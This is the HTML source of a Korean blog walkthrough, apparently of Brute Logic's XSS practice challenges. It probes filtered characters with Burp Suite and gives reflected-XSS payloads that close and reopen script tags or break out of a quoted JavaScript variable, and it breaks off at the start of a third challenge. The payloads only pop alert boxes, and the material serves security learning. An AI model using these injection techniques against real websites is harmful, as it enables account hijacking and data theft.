&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;660&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctwCi6/dJMcafFhSr0/7QTi43twg4RSGei4vFQl61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctwCi6/dJMcafFhSr0/7QTi43twg4RSGei4vFQl61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctwCi6/dJMcafFhSr0/7QTi43twg4RSGei4vFQl61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctwCi6%2FdJMcafFhSr0%2F7QTi43twg4RSGei4vFQl61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;419&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크 - https://x55.is/brutelogic/xss.php?c2=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 c2 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c2 변수의 값으로 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jehpw/dJMcagjSWoU/svCpkHbXqTY6Jv4C2L4Ynk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jehpw/dJMcagjSWoU/svCpkHbXqTY6Jv4C2L4Ynk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jehpw/dJMcagjSWoU/svCpkHbXqTY6Jv4C2L4Ynk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJehpw%2FdJMcagjSWoU%2FsvCpkHbXqTY6Jv4C2L4Ynk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;354&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;c2 파라미터 값에&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 더블 쿼터가 필터링 되어 사용할 수 없음을 알 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cze0EF/dJMcahC7k2k/uKivP2RuMAJhKk23p9Iqj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cze0EF/dJMcahC7k2k/uKivP2RuMAJhKk23p9Iqj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cze0EF/dJMcahC7k2k/uKivP2RuMAJhKk23p9Iqj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcze0EF%2FdJMcahC7k2k%2FuKivP2RuMAJhKk23p9Iqj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;362&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;꺾쇠 기호가 필터링 되지 않고 스크립트 내부에 접근이 가능한 경우 script 태그를 닫고 다시 script 태그를 삽입하여 XSS 공격을 시도할 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 627px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 627px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 627px;&quot;&gt;dddd&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('1');&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;br /&gt;페이로드 마지막에 &amp;lt;script&amp;gt;를 해줬던 이유는 기존에 있던 script 태그의 닫는 태그가 남기 때문에 정상적으로 script 태그를 닫기 위해서입니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;lt;script&amp;gt; // 기존 script 태그&lt;br /&gt;&amp;nbsp; ~~~~&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;/script&amp;gt; // 페이로드에 입력된 script 태그&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;lt;script&amp;gt; // 페이로드에 입력된 script 태그&lt;br /&gt;&amp;nbsp; &amp;nbsp;dddd&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('1');&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;/script&amp;gt; // 페이로드에 입력된 script 태그&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;script&amp;gt;&amp;nbsp; // 페이로드에 입력된 script 태그&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&amp;nbsp; // 기존 script 태그&lt;br /&gt;&lt;br /&gt;*** 마지막에 &amp;lt;script&amp;gt;를 해주지 않는다면&amp;nbsp; 다음과 같이 script 태그 내의 내용들이 텍스트로 화면에 출력되게 됩니다.&lt;br /&gt;(alert 함수는 정상 작동합니다.)&lt;br /&gt;&lt;br /&gt;*(참고 자료)&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;231&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/muZR1/dJMcaihJZHd/7gEFFiIq9LqeY9bcwzjJr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/muZR1/dJMcaihJZHd/7gEFFiIq9LqeY9bcwzjJr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/muZR1/dJMcaihJZHd/7gEFFiIq9LqeY9bcwzjJr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmuZR1%2FdJMcaihJZHd%2F7gEFFiIq9LqeY9bcwzjJr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;231&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;231&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mEvDz/dJMcafFjXiY/LDc83WzdI7oQ9LKKANc2zK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mEvDz/dJMcafFjXiY/LDc83WzdI7oQ9LKKANc2zK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mEvDz/dJMcafFjXiY/LDc83WzdI7oQ9LKKANc2zK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmEvDz%2FdJMcafFjXiY%2FLDc83WzdI7oQ9LKKANc2zK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;364&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fymqd/dJMb99LQXR4/q7rnwl4ZpAqeKPqvzqdc3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fymqd/dJMb99LQXR4/q7rnwl4ZpAqeKPqvzqdc3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fymqd/dJMb99LQXR4/q7rnwl4ZpAqeKPqvzqdc3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFymqd%2FdJMb99LQXR4%2Fq7rnwl4ZpAqeKPqvzqdc3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;432&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;673&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/urbQB/dJMcacu3yvx/NJrKjCkIC09kciF1woy1bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/urbQB/dJMcacu3yvx/NJrKjCkIC09kciF1woy1bK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/urbQB/dJMcacu3yvx/NJrKjCkIC09kciF1woy1bK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FurbQB%2FdJMcacu3yvx%2FNJrKjCkIC09kciF1woy1bK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;428&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;673&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크 - https://x55.is/brutelogic/xss.php?c3=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 c3 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c3 변수의 값으로 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOcp2j/dJMcadOcNHS/ClYVP2aaskFzKoYqXr3BP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOcp2j/dJMcadOcNHS/ClYVP2aaskFzKoYqXr3BP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOcp2j/dJMcadOcNHS/ClYVP2aaskFzKoYqXr3BP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOcp2j%2FdJMcadOcNHS%2FClYVP2aaskFzKoYqXr3BP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;362&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;c3 파라미터 값에 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;lt;&lt;/span&gt; 기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 따라서 HTML 태그 기능을 사용할 수 없기 때문에 앞서 두 문제처럼 스크립트 태그를 닫고 다시 스크립트 태그를 삽입하면서 XSS 공격을 할 수 없게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brLA7Y/dJMcadm8Nmy/URRlFUY7f02Ok9Vh2pAyMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brLA7Y/dJMcadm8Nmy/URRlFUY7f02Ok9Vh2pAyMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brLA7Y/dJMcadm8Nmy/URRlFUY7f02Ok9Vh2pAyMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrLA7Y%2FdJMcadm8Nmy%2FURRlFUY7f02Ok9Vh2pAyMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;364&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;태그 기능을 사용할 수 없지만 싱글 쿼터나 더블 쿼터는 사용을 할 수 있습니다. 변수의 값이 싱글 쿼터로 감싸져있기 때문에 문법에 맞게 싱글 쿼터를 이용하면서 한 줄 주석 처리도 가능한지 확인해 봅니다. 주석 처리가 정상적으로 작동하며 변수를 벗어나 script 태그 내부에 사용자의 입력 값 삽입이 가능하다는 것을 알 수 있습니다.&lt;span style=&quot;color: #9d9d9d;&quot;&gt;(&lt;i&gt;주석 처리하는 이유는 뒤에 있습니다.&lt;/i&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;* Response를 보게 되면 주석 처리된 부분은 색깔이 약간 다른 것을 볼 수 있습니다.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCcJGB/dJMcaiouLAd/8qRpXHLTWQIn06zqCambRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCcJGB/dJMcaiouLAd/8qRpXHLTWQIn06zqCambRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCcJGB/dJMcaiouLAd/8qRpXHLTWQIn06zqCambRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCcJGB%2FdJMcaiouLAd%2F8qRpXHLTWQIn06zqCambRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;363&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 줄 주석 처리가 가능하고 싱글 쿼터를 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드: dddd';alert('1');//test&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;싱글 쿼터('), 세미콜론(;)을 이용하여 변수를 벗어나 script 태그 내부에 사용자의 입력 값이 삽입될 수 있습니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[코드 예시]&lt;/b&gt;&lt;br /&gt;&amp;lt;script&amp;gt; // script 태그&lt;br /&gt;&amp;nbsp; ~~~~&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; var c3 = '__입력 값___';&amp;nbsp; &lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 전&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; var c3 = '&lt;span style=&quot;color: #ee2323;&quot;&gt;dddd'; &lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 후&lt;/span&gt;&lt;br /&gt;&amp;nbsp; alert('1');&lt;br /&gt;&amp;nbsp; //test&lt;/span&gt;';&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&amp;nbsp; // script 태그&lt;br /&gt;&lt;br /&gt;*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wyDf1/dJMcadtUKUJ/gl38kRItRRZjYmO0Okvue1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wyDf1/dJMcadtUKUJ/gl38kRItRRZjYmO0Okvue1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wyDf1/dJMcadtUKUJ/gl38kRItRRZjYmO0Okvue1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwyDf1%2FdJMcadtUKUJ%2Fgl38kRItRRZjYmO0Okvue1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;359&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;677&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rcaC4/dJMcabCUrr2/0nMRutdlqfCUCAUUw7C4P0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rcaC4/dJMcabCUrr2/0nMRutdlqfCUCAUUw7C4P0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rcaC4/dJMcabCUrr2/0nMRutdlqfCUCAUUw7C4P0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrcaC4%2FdJMcabCUrr2%2F0nMRutdlqfCUCAUUw7C4P0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;430&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;677&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;683&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AzzWT/dJMb99ZpwE1/tK1XcciFi5STIOcKFL38R1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AzzWT/dJMb99ZpwE1/tK1XcciFi5STIOcKFL38R1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AzzWT/dJMb99ZpwE1/tK1XcciFi5STIOcKFL38R1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAzzWT%2FdJMb99ZpwE1%2FtK1XcciFi5STIOcKFL38R1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;434&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;683&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크 - https://x55.is/brutelogic/xss.php?c4=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
